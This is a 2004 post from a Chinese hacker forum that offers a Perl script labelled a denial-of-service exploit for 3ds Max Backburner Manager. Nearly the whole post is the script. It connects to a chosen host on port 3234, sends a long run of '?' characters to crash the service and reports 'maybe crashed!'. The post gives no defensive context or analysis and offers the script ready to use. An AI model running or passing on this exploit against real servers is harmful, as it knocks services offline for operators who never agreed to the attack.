黑色海岸线论坛 - Powered by Discuz! Board

标题: 3Dmax backburner Manager Dos Exploit [打印本页]

作者: damnyou 时间: 2004-7-4 21:51 标题: 3Dmax backburner Manager Dos Exploit

3Dmax backburner Manager Dos Exploit 　作者： tiger 　　 #!C:\bin\perl.exe use IO::Socket; my $progname = $0; $progname =~ s,.'*/,,; $progname =~ s/\.\w*$//; $host = shift || 'localhost'; $port = shift || '3234'; $title = " =============================================\n‖ 3Dmax backburner Manager Dos Exploit 1.0! ‖\n =============================================\n BY tiger---www.thysea.com\n coolsumer@163.com\n"; $Usage = " Usage: $progname [Host] [port](default is 3234)\n"; if ($host > 0){ dos(); } else { usage(); } sub dos { my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => $port, ) or die "$title

ERR-->can't connect to $host:$port! :(\n"; print ($title, "

connected to $host:$port\n"); my $r = <$socket>; return undef if !$r; chomp($r); print "

Sending string...\n"; print $socket ("?"x(2364),"\r\n") or die "$title

ERR-->Sending string failed! :(\n"; $r = <$socket>; return undef if !$r; print "

maybe crashed!\n"; $socket->close; } sub usage { die $title,$Usage; }

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)